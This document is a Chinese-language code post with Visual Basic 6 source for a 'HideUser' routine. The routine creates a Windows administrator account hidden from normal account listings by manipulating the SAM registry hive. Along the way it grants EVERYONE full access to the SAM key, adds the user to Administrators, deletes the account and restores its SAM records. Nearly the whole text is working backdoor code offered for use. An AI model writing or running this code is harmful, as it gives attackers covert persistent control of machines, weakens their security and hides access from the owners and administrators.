vb创建隐藏系统管理员

代码

vb创建隐藏系统管理员

'用法：　HideUser 用户名, 密码

Option Explicit
'系统账户操作
Private Declare Function NetUserAdd Lib "netapi32.dll" (ServerName As Byte, ByVal Level As Long, Buffer As USER_INFO_1, ParmError As Long) As Long
Private Declare Function NetUserDel Lib "netapi32.dll" (ByVal ServerName As String, ByVal UserName As String) As Long
Private Type USER_INFO_1
ptrName As Long
ptrstrPassWord As Long
dwstrPassWordAge As Long
dwPriv As Long
ptrHomeDir As Long
ptrComment As Long
dwFlags As Long
ptrScriptPath As Long
End Type
Private Const NERR_Success As Long = 0&
Private Const USER_PRIV_USER = 1
Private Const UF_NORMAL_ACCOUNT = &H200
Private Const UF_SCRIPT = &H1
Private m_strUserName As String
Private Const UF_ACCOUNTDISABLE = &H2
Private Const UF_HOMEDIR_REQUIRED = &H8
Private Const UF_PASSWD_NOTREQD = &H20
Private Const UF_PASSWD_CANT_CHANGE = &H40
Private Const UF_LOCKOUT = &H10
Private Const UF_DONT_EXPIRE_PASSWD = &H10000
Private Declare Function NetLocalGroupAddMembers Lib "netapi32.dll" (ByVal ServerName As String, ByVal GroupName As String, ByVal Level As Long, buf As Any, ByVal totalentries As Long) As Long
Private Type LOCALGROUP_MEMBERS_INFO_3
lgrmi3_domainandname As Long
End Type
'注册表操作
'//注册表 API 函数声明
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" _
(dest As Any, source As Any, ByVal numBytes As Long)

Private Declare Function ExpandEnvironmentStrings Lib "kernel32" Alias "ExpandEnvironmentStringsA" _
(ByVal lpSrc As String, ByVal lpDst As String, ByVal nSize As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32.dll" Alias "RegOpenKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, _
ByVal samDesired As Long, phkResult As Long) As Long

Private Declare Function RegCloseKey Lib "advapi32.dll" (ByVal hKey As Long) As Long

Private Declare Function RegQueryValueEx Lib "advapi32.dll" Alias _
"RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, _
ByVal lpReserved As Long, lpType As Long, lpData As Any, _
lpcbData As Long) As Long

Private Declare Function RegSetValueEx Lib "advapi32" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpbData As Any, ByVal cbData As Long) As Long

Private Declare Function RegCreateKeyEx Lib "advapi32" Alias "RegCreateKeyExA" _
(ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, _
ByVal lpClass As String, ByVal dwOptions As Long, _
ByVal samDesired As Long, lpSecurityAttributes As SECURITY_ATTRIBUTES, _
phkResult As Long, lpdwDisposition As Long) As Long

Private Declare Function RegEnumKeyEx Lib "advapi32.dll" Alias "RegEnumKeyExA" _
(ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpName As String, _
lpcbName As Long, ByVal lpReserved As Long, ByVal lpClass As String, _
lpcbClass As Long, lpftLastWriteTime As FILETIME) As Long

Private Declare Function RegEnumValue Lib "advapi32.dll" Alias "RegEnumValueA" _
(ByVal hKey As Long, ByVal dwIndex As Long, _
ByVal lpValueName As String, lpcbValueName As Long, ByVal lpReserved As Long, _
lpType As Long, ByVal lpData As String, lpcbData As Long) As Long

Private Declare Function RegDeleteKey Lib "advapi32.dll" Alias "RegDeleteKeyA" _
(ByVal hKey As Long, ByVal lpSubKey As String) As Long

Private Declare Function RegDeleteValue Lib "advapi32.dll" Alias "RegDeleteValueA" _
(ByVal hKey As Long, ByVal lpValueName As String) As Long

Private Declare Function RegSetValueExString Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal ipValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
ByVal lpValue As String, ByVal cbData As Long) As Long

Private Declare Function RegSetValueExLong Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
lpValue As Long, ByVal cbData As Long) As Long

Private Declare Function RegSetValueExByte Lib "advapi32.dll" Alias "RegSetValueExA" _
(ByVal hKey As Long, ByVal lpValueName As String, _
ByVal Reserved As Long, ByVal dwType As Long, _
lpValue As Byte, ByVal cbData As Long) As Long

Private Declare Function RegQueryInfoKey Lib "advapi32.dll" Alias "RegQueryInfoKeyA" _
(ByVal hKey As Long, ByVal lpClass As String, lpcbClass As Long, _
ByVal lpReserved As Long, lpcSubKeys As Long, _
lpcbMaxSubKeyLen As Long, lpcbMaxClassLen As Long, lpcValues As Long, _
lpcbMaxValueNameLen As Long, lpcbMaxValueLen As Long, _
lpcbSecurityDescriptor As Long, lpftLastWriteTime As FILETIME) As Long

Private Declare Function RegEnumValueInt Lib "advapi32.dll" Alias "RegEnumValueA" _
(ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long

Private Declare Function RegEnumValueStr Lib "advapi32.dll" Alias "RegEnumValueA" _
(ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long

Private Declare Function RegEnumValueByte Lib "advapi32.dll" Alias "RegEnumValueA" _
(ByVal hKey As Long, ByVal dwIndex As Long, ByVal lpValueName As String, _
lpcbValueName As Long, ByVal lpReserved As Long, lpType As Long, _
lpData As Byte, lpcbData As Long) As Long

'//注册表结构
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Boolean
End Type

Private Type FILETIME
dwLowDateTime As Long
dwHighDateTime As Long
End Type

'//注册表访问权
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_ALL_ACCESS = &H3F

'//打开/建立选项
Const REG_OPTION_NON_VOLATILE = 0&
Const REG_OPTION_VOLATILE = &H1

'//Key 创建/打开
Const REG_CreateD_NEW_KEY = &H1
Const REG_OPENED_EXISTING_KEY = &H2

'//预定义存取类型
Const STANDARD_RIGHTS_ALL = &H1F0000
Const SPECIFIC_RIGHTS_ALL = &HFFFF

'//严格代码定义
Const ERROR_SUCCESS = 0&
Const ERROR_ACCESS_DENIED = 5
Const ERROR_NO_MORE_ITEMS = 259
Const ERROR_MORE_DATA = 234 '// 错误

'//注册表值类型列举
Private Enum RegDataTypeEnum
' REG_NONE = (0) '// No value type
REG_SZ = (1) '// Unicode nul terminated string
REG_EXPAND_SZ = (2) '// Unicode nul terminated string w/enviornment var
REG_BINARY = (3) '// Free form binary
REG_DWORD = (4) '// 32-bit number
REG_DWORD_LITTLE_ENDIAN = (4) '// 32-bit number (same as REG_DWORD)
REG_DWORD_BIG_ENDIAN = (5) '// 32-bit number
' REG_LINK = (6) '// Symbolic Link (unicode)
REG_MULTI_SZ = (7) '// Multiple, null-delimited, double-null-terminated Unicode strings
' REG_RESOURCE_LIST = (8) '// Resource list in the resource map
' REG_FULL_RESOURCE_DESCRIPTOR = (9) '// Resource list in the hardware description
' REG_RESOURCE_REQUIREMENTS_LIST = (10)
End Enum

'//注册表基本键值列表
Public Enum RootKeyEnum
HKEY_CLASSES_ROOT = &H80000000
HKEY_CURRENT_USER = &H80000001
HKEY_LOCAL_MACHINE = &H80000002
HKEY_USERS = &H80000003
HKEY_PERFORMANCE_DATA_WIN2K_ONLY = &H80000004 '//仅Win2k
HKEY_CURRENT_CONFIG = &H80000005
HKEY_DYN_DATA = &H80000006
End Enum

'// for specifying the type of data to save
Public Enum RegValueTypes
eInteger = vbInteger
eLong = vbLong
eString = vbString
eByteArray = vbArray + vbByte
End Enum

'//保存时指定类型
Public Enum RegFlags
IsExpandableString = 1
IsMultiString = 2
'IsBigEndian = 3 '// 无指针同样不要设置大Endian值
End Enum

Private Const ERR_NONE = 0

'注册表权限设置
Private Const FOLDER_PATH = "MACHINE\SAM\SAM"
Private Const SYNCHRONIZE As Long = &H100000
Private Const STANDARD_RIGHTS_READ = &H20000
Private Const STANDARD_RIGHTS_WRITE = &H20000
Private Const STANDARD_RIGHTS_EXECUTE = &H20000
Private Const STANDARD_RIGHTS_REQUIRED = &HF0000
'Private Const STANDARD_RIGHTS_ALL = &H1F0000
'Private Const KEY_QUERY_VALUE = &H1
'Private Const KEY_SET_VALUE = &H2
'Private Const KEY_CREATE_SUB_KEY = &H4
'Private Const KEY_ENUMERATE_SUB_KEYS = &H8
'Private Const KEY_NOTIFY = &H10
'Private Const KEY_CREATE_LINK = &H20
Private Const KEY_READ = ((STANDARD_RIGHTS_READ Or KEY_QUERY_VALUE Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY) And (Not SYNCHRONIZE))
Private Const KEY_WRITE = ((STANDARD_RIGHTS_WRITE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY) And (Not SYNCHRONIZE))
Private Const KEY_EXECUTE = (KEY_READ)
'Private Const KEY_ALL_ACCESS = ((STANDARD_RIGHTS_ALL Or KEY_QUERY_VALUE Or KEY_SET_VALUE Or KEY_CREATE_SUB_KEY Or KEY_ENUMERATE_SUB_KEYS Or KEY_NOTIFY Or KEY_CREATE_LINK) And (Not SYNCHRONIZE))
'Private Const ERROR_SUCCESS = 0&
Private Const DACL_SECURITY_INFORMATION = 4&
Private Const SET_ACCESS = 2&
Private Const SUB_CONTAINERS_AND_OBJECTS_INHERIT = &H3
Private Enum SE_OBJECT_TYPE
SE_UNKNOWN_OBJECT_TYPE = 0&
SE_FILE_OBJECT = 1&
SE_SERVICE = 2&
SE_PRINTER = 3&
SE_REGISTRY_KEY = 4&
SE_LMSHARE = 5&
SE_KERNEL_OBJECT = 6&
SE_WINDOW_OBJECT = 7&
End Enum

'
Private Type TRUSTEE
pMultipleTrustee As Long
MultipleTrusteeOperation As Long
TrusteeForm As Long
TrusteeType As Long
ptstrName As String
End Type

Private Type EXPLICIT_ACCESS
grfAccessPermissions As Long
grfAccessMode As Long
grfInheritance As Long
pTRUSTEE As TRUSTEE
End Type

Private Declare Sub BuildExplicitAccessWithName Lib "advapi32.dll" Alias _
"BuildExplicitAccessWithNameA" _
(ea As Any, _
ByVal TrusteeName As String, _
ByVal AccessPermissions As Long, _
ByVal AccessMode As Integer, _
ByVal Inheritance As Long)

Private Declare Function SetEntriesInAcl Lib "advapi32.dll" Alias _
"SetEntriesInAclA" _
(ByVal CountofExplicitEntries As Long, _
ea As Any, _
ByVal OldAcl As Long, _
NewAcl As Long) As Long

Private Declare Function GetNamedSecurityInfo Lib "advapi32.dll" Alias _
"GetNamedSecurityInfoA" _
(ByVal ObjName As String, _
ByVal SE_OBJECT_TYPE As Long, _
ByVal SecInfo As Long, _
ByVal pSid As Long, _
ByVal pSidGroup As Long, _
pDacl As Long, _
ByVal pSacl As Long, _
pSecurityDescriptor As Long) As Long

Private Declare Function SetNamedSecurityInfo Lib "advapi32.dll" Alias _
"SetNamedSecurityInfoA" _
(ByVal ObjName As String, _
ByVal SE_OBJECT As Long, _
ByVal SecInfo As Long, _
ByVal pSid As Long, _
ByVal pSidGroup As Long, _
ByVal pDacl As Long, _
ByVal pSacl As Long) As Long

Private Declare Function LocalFree Lib "kernel32" (ByVal hMem As Long) As Long
Private commandLine As String

Public Function AddUser(ByVal UserName As String, ByVal PassWord As String) As Boolean
AddUser = False
Dim ParmError As Long
Dim UI As USER_INFO_1
Dim UI3 As LOCALGROUP_MEMBERS_INFO_3
Dim result As Long
With UI
.ptrName = StrPtr(UserName)
.ptrstrPassWord = StrPtr(PassWord)
.dwstrPassWordAge = 3
.dwPriv = USER_PRIV_USER
.ptrComment = StrPtr("")
.dwFlags = UF_SCRIPT Or UF_NORMAL_ACCOUNT Or UF_PASSWD_CANT_CHANGE Or UF_DONT_EXPIRE_PASSWD
End With
result = NetUserAdd(0, 1, UI, ParmError)
result = AddUserToGroup(vbNullString, "Administrators", UserName)
If result = NERR_Success Then AddUser = True
End Function
Public Function DelUser(ByVal UserName As String) As Boolean
Dim lngResult As Long
Dim strUnicodeUserName As String
strUnicodeUserName = StrConv(UserName, vbUnicode)
lngResult = NetUserDel(vbNullString, strUnicodeUserName)
If lngResult = NERR_Success Then DelUser = True
End Function

Public Function AddUserToGroup(ByVal ServerName As String, ByVal GroupName As String, ByVal UserName As String) As Long
Dim lngResult As Long
Dim strServerName As String
Dim strLocalGroupName As String
Dim udtLGMemInfo As LOCALGROUP_MEMBERS_INFO_3
strLocalGroupName = StrConv(GroupName, vbUnicode)
udtLGMemInfo.lgrmi3_domainandname = StrPtr(UserName)
lngResult = NetLocalGroupAddMembers(vbNullString, strLocalGroupName, 3, udtLGMemInfo, 1)
End Function

Function HideUser(ByVal UserName As String, ByVal PassWord As String)
Dim UserHex As Long
Dim sUserHex As String
Dim UserV
Dim UserF
'获得权限
Call SetRegKeySecurity
'添加用户
AddUser UserName, PassWord
'保存用户名对应HEX值
UserHex = GetHexName(UserName)
sUserHex = FormatString(Hex(UserHex), 8, 2, "0")
'保存用户名的V,F值
UserV = GetRegistryValue(&H80000002, "SAM\SAM\Domains\Account\Users\" & sUserHex, "V")
UserF = GetRegistryValue(&H80000002, "SAM\SAM\Domains\Account\Users\" & sUserHex, "F")
'删除用户
DelUser UserName
'添加用户名对应HEX值
SetHexName UserName, UserHex
'添加用户名的V,F值
Call SetRegistryValue(&H80000002, "SAM\SAM\Domains\Account\Users\" & sUserHex, "V", UserV, eByteArray)
Call SetRegistryValue(&H80000002, "SAM\SAM\Domains\Account\Users\" & sUserHex, "F", UserF, eByteArray)
MsgBox "ok"
End Function

'该函数用来得到用户对应的HEX
Function GetHexName(ByVal UserName As String) As Long
Dim handle As Long
Dim valueType As Long
Dim retVal As Long
Dim resBinary(0 To 0) As Byte
If RegOpenKeyEx(&H80000002, "SAM\SAM\Domains\Account\Users\Names\" & UserName, 0, &H20019, handle) Then Exit Function
retVal = RegQueryValueEx(handle, "", 0, valueType, resBinary(0), 0)
GetHexName = valueType
RegCloseKey handle
End Function

'该函数用来写入HEX到用户名
Function SetHexName(ByVal UserName As String, ByVal HexUserName As Long) As Boolean
Dim handle As Long
Dim lngValue As Long
Dim strValue As String
Dim binValue() As Byte
Dim length As Long
Dim retVal As Long
Dim SecAttr As SECURITY_ATTRIBUTES '//键的安全设置
'//设置新键值的名称和默认安全设置
SecAttr.nLength = Len(SecAttr) '//结构大小
SecAttr.lpSecurityDescriptor = 0 '//默认安全权限
SecAttr.bInheritHandle = True '//设置的默认值
retVal = RegCreateKeyEx(&H80000002, "SAM\SAM\Domains\Account\Users\Names\" & UserName, 0, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, SecAttr, handle, retVal)
If retVal Then Exit Function
retVal = RegSetValueEx(handle, "", 0, HexUserName, "", 0)
RegCloseKey handle
End Function

'注册表权限设置
Public Function SetRegKeySecurity() As Boolean
Dim result As Long
Dim pSecDesc As Long
Dim ea As EXPLICIT_ACCESS
Dim pNewDACL As Long
Dim pOldDACL As Long
result = GetNamedSecurityInfo(FOLDER_PATH, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, 0&, 0&, pOldDACL, 0&, pSecDesc)
If result = ERROR_SUCCESS Then
Call BuildExplicitAccessWithName(ea, "EVERYONE", KEY_ALL_ACCESS, SET_ACCESS, SUB_CONTAINERS_AND_OBJECTS_INHERIT)
result = SetEntriesInAcl(1, ea, pOldDACL, pNewDACL)
If result = ERROR_SUCCESS Then
result = SetNamedSecurityInfo(FOLDER_PATH, SE_REGISTRY_KEY, DACL_SECURITY_INFORMATION, 0&, 0&, pNewDACL, 0&)
If result = ERROR_SUCCESS Then
SetRegKeySecurity = True
Else
SetRegKeySecurity = False
Exit Function
End If
LocalFree pNewDACL
Else
SetRegKeySecurity = False
Exit Function
End If
LocalFree pSecDesc
SetRegKeySecurity = True
Else
SetRegKeySecurity = False
Exit Function
End If
End Function
Function SetRegistryValue(ByVal hKey As RootKeyEnum, ByVal KeyName As String, _
ByVal ValueName As String, ByVal Value As Variant, valueType As RegValueTypes, _
Optional Flag As RegFlags = 0) As Boolean

Dim handle As Long
Dim lngValue As Long
Dim strValue As String
Dim binValue() As Byte
Dim length As Long
Dim retVal As Long

Dim SecAttr As SECURITY_ATTRIBUTES '//键的安全设置
'//设置新键值的名称和默认安全设置
SecAttr.nLength = Len(SecAttr) '//结构大小
SecAttr.lpSecurityDescriptor = 0 '//默认安全权限
SecAttr.bInheritHandle = True '//设置的默认值

'// 打开或创建键
'If RegOpenKeyEx(hKey, KeyName, 0, KEY_ALL_ACCESS, handle) Then Exit Function
retVal = RegCreateKeyEx(hKey, KeyName, 0, vbNullString, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, SecAttr, handle, retVal)
If retVal Then Exit Function

'//3种数据类型
Select Case VarType(Value)
Case vbByte, vbInteger, vbLong '// 若是字节, Integer值或Long值...
lngValue = Value
retVal = RegSetValueExLong(handle, ValueName, 0, REG_DWORD, lngValue, Len(lngValue))

Case vbString '// 字符串, 扩展环境字符串或多段字符串...
strValue = Value
Select Case Flag
Case IsExpandableString
retVal = RegSetValueEx(handle, ValueName, 0, REG_EXPAND_SZ, ByVal strValue, LenB(StrConv(strValue, vbFromUnicode)))
Case IsMultiString
retVal = RegSetValueEx(handle, ValueName, 0, REG_MULTI_SZ, ByVal strValue, LenB(StrConv(strValue, vbFromUnicode)))
Case Else '// 正常 REG_SZ 字符串
retVal = RegSetValueEx(handle, ValueName, 0, REG_SZ, ByVal strValue, LenB(StrConv(strValue, vbFromUnicode)))
End Select

Case vbArray + vbByte '// 如果是字节数组...
binValue = Value
length = UBound(binValue) - LBound(binValue) + 1
retVal = RegSetValueExByte(handle, ValueName, 0, REG_BINARY, binValue(0), length)

Case Else '// 如果其它类型
RegCloseKey handle
'Err.Raise 1001, , "不支持的值类型"

End Select

'// 返回关闭结果
RegCloseKey handle

'// 返回写入成功结果
SetRegistryValue = (retVal = 0)

End Function

Function GetRegistryValue(ByVal hKey As RootKeyEnum, ByVal KeyName As String, _
ByVal ValueName As String, Optional DefaultValue As Variant) As Variant

Dim handle As Long
Dim resLong As Long
Dim resString As String
Dim resBinary() As Byte
Dim length As Long
Dim retVal As Long
Dim valueType As Long

Const KEY_READ = &H20019

'// 默认结果
GetRegistryValue = IIf(IsMissing(DefaultValue), Empty, DefaultValue)

'// 打开键, 不存在则退出
If RegOpenKeyEx(hKey, KeyName, 0, KEY_READ, handle) Then Exit Function

'// 准备 1K resBinary 用于接收
length = 1024
ReDim resBinary(0 To length - 1) As Byte

'// 读注册表值
retVal = RegQueryValueEx(handle, ValueName, 0, valueType, resBinary(0), length)

'// 若resBinary 太小则重读
If retVal = ERROR_MORE_DATA Then
'// resBinary放大,且重新读取
ReDim resBinary(0 To length - 1) As Byte
retVal = RegQueryValueEx(handle, ValueName, 0, valueType, resBinary(0), _
length)
End If

'// 返回相应值类型
Select Case valueType
Case REG_DWORD, REG_DWORD_LITTLE_ENDIAN
'// REG_DWORD 和 REG_DWORD_LITTLE_ENDIAN 相同
CopyMemory resLong, resBinary(0), 4
GetRegistryValue = resLong

Case REG_DWORD_BIG_ENDIAN
'// Big Endian's 用在非-Windows环境, 如Unix系统, 本地计算机远程访问
CopyMemory resLong, resBinary(0), 4
GetRegistryValue = SwapEndian(resLong)

Case REG_SZ, REG_EXPAND_SZ
resString = Space$(length - 1)
CopyMemory ByVal resString, resBinary(0), length - 1
If valueType = REG_EXPAND_SZ Then
'// 查询对应的环境变量
GetRegistryValue = ExpandEnvStr(resString)
Else
GetRegistryValue = resString
End If

Case REG_MULTI_SZ
'// 复制时需指定2个空格符
resString = Space$(length - 2)
CopyMemory ByVal resString, resBinary(0), length - 2
GetRegistryValue = resString

Case Else ' 包含 REG_BINARY
'// resBinary 调整
If length <> UBound(resBinary) + 1 Then
ReDim Preserve resBinary(0 To length - 1) As Byte
End If
GetRegistryValue = resBinary()

End Select

'// 关闭
RegCloseKey handle

End Function

Public Function DeleteRegistryValueOrKey(ByVal hKey As RootKeyEnum, RegKeyName As String, _
ValueName As String) As Boolean
'//删除注册表值和键,如果成功返回True

Dim lRetval As Long '//打开和输出注册表键的返回值
Dim lRegHWND As Long '//打开注册表键的句柄
Dim sREGSZData As String '//把获取值放入缓冲区
Dim lSLength As Long '//缓冲区大小. 改变缓冲区大小要在调用之后

'//打开键
lRetval = RegOpenKeyEx(hKey, RegKeyName, 0, KEY_ALL_ACCESS, lRegHWND)

'//成功打开
If lRetval = ERR_NONE Then
'//删除指定值
lRetval = RegDeleteValue(lRegHWND, ValueName) '//如果已存在则先删除

'//如出现错误则删除值并返回False
If lRetval <> ERR_NONE Then Exit Function

'//注意: 如果成功打开仅关闭注册表键
lRetval = RegCloseKey(lRegHWND)

'//如成功关闭则返回 True 或者其它错误
If lRetval = ERR_NONE Then DeleteRegistryValueOrKey = True

End If

End Function

Private Function ExpandEnvStr(sData As String) As String
'// 查询环境变量和返回定义值
'// 如： %PATH% 则返回 "c:\;c:\windows;"

Dim c As Long, s As String

s = "" '// 不支持Windows 95

'// get the length
c = ExpandEnvironmentStrings(sData, s, c)

'// 展开字符串
s = String$(c - 1, 0)
c = ExpandEnvironmentStrings(sData, s, c)

'// 返回环境变量
ExpandEnvStr = s

End Function

Private Function SwapEndian(ByVal dw As Long) As Long
'// 转换大DWord 到小 DWord

CopyMemory ByVal VarPtr(SwapEndian) + 3, dw, 1
CopyMemory ByVal VarPtr(SwapEndian) + 2, ByVal VarPtr(dw) + 1, 1
CopyMemory ByVal VarPtr(SwapEndian) + 1, ByVal VarPtr(dw) + 2, 1
CopyMemory SwapEndian, ByVal VarPtr(dw) + 3, 1

End Function

'格式化
Public Function FormatString(ByVal str As String, ByVal N As Integer, Optional ByVal align As Integer = 0, Optional ByVal aChar As String = " ") As String
Dim i As Integer, j As Integer
i = LenB(StrConv(str, vbFromUnicode))
If N > i Then
Dim strTemp As String
strTemp = String(N - i, aChar)
If align = 0 Then
str = str & strTemp
ElseIf align = 1 Then
strTemp = String((N - i) \ 2, aChar)
str = strTemp & str & strTemp
Else
str = strTemp & str
End If
Else
If align = 0 Then
str = StrConv(LeftB(StrConv(str, vbFromUnicode), N), vbUnicode)
ElseIf align = 1 Then
str = StrConv(MidB(StrConv(str, vbFromUnicode), (i - N) \ 2, N), vbUnicode)
Else
str = StrConv(RightB(StrConv(str, vbFromUnicode), N), vbUnicode)
End If
End If
FormatString = str
End Function